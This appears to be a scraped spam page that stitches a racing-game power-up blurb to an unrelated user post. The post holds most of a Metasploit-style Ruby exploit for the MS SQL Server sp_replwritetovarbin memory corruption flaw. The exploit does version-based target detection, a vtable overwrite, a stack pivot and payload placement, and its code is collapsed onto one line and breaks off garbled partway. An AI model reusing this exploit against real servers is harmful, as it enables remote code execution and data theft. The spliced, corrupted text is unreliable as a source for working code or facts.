await-children="">TELEPORTEven if you find yourself trailing behind the pack during a race, don't count yourself out—the Teleport Power-Up could turn your fortunes around in a flash. Using it will shoot you into an interdimensional wormhole that spits you out ahead of the nearest racer, putting you right back in the action!

2025-04-03
User9520

Target.name =~ /Automatic/ print_status("Attempting automatic target detection...") version = mssql_query_version raise RuntimeError, "Unable to get version!" if not version if (version =~ /8\.00\.194/) mytarget = targets[1] elsif (version =~ /8\.00\.384/) mytarget = targets[2] elsif (version =~ /8\.00\.534/) mytarget = targets[3] elsif (version =~ /8\.00\.760/) mytarget = targets[4] elsif (version =~ /8\.00\.2039/) mytarget = targets[5] elsif (version =~ /9\.00\.1399\.06/) mytarget = targets[6] elsif (version =~ /9\.00\.2047\.00/) mytarget = targets[7] elsif (version =~ /9\.00\.3042\.00/) mytarget = targets[8] end if mytarget.nil? raise RuntimeError, "Unable to automatically detect the target" else print_status("Automatically detected target "#{mytarget.name}"") end else mytarget = target end sqlquery = %Q|declare @i int,@z nvarchar(4000)set @z='declare @e int,@b varbinary,@l int;'set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'exec sp_executesql @z| # just crash it with a pattern buffer if the CRASHER target is selected.. if mytarget.name == 'CRASHER' sploit = Rex::Text.pattern_create(2048) print_status("Attempting to corrupt memory to cause an exception!") num = 32 else # trigger the memory corruption num = mytarget['Num'] vt_off = mytarget['VtOff'] vt_disp = mytarget['VtDisp'] vtable = mytarget['Vtable'] ecx_disp = mytarget['Disp'] esp_off = mytarget['Offset'] hijack_esp = mytarget['ecx2esp'] first_esp = mytarget['Popped'] fix_esp = mytarget['FixESP'] writable = mytarget['Writable'] corruptable_bytes = 0x44 # make sploit buff sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length #sploit = Rex::Text.pattern_create(sz) sploit = rand_text_alphanumeric(sz) # remove displacement! (using call [ecx+displacement]) vtable_off = (num + vt_off) sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V') # stack -> heap hijack_off = vtable_off + ecx_disp sploit[hijack_off,4] = [hijack_esp].pack('V') # becomes eax on mssql 2ksp4 (prevent crash) sploit[(vtable_off-4),4] = [writable].pack('V') # becomes eip after esp hijack fixesp_off = vtable_off + first_esp sploit[fixesp_off,4] = [fix_esp].pack('V') # rest of magic stack (disable DEP?) stack_off = vtable_off + esp_off stack = [] stack 0 ret += "char(" ret delay) return nil end # Now we test the SQL Server versions versions = %w[8.00.194 8.00.384

2025-04-02

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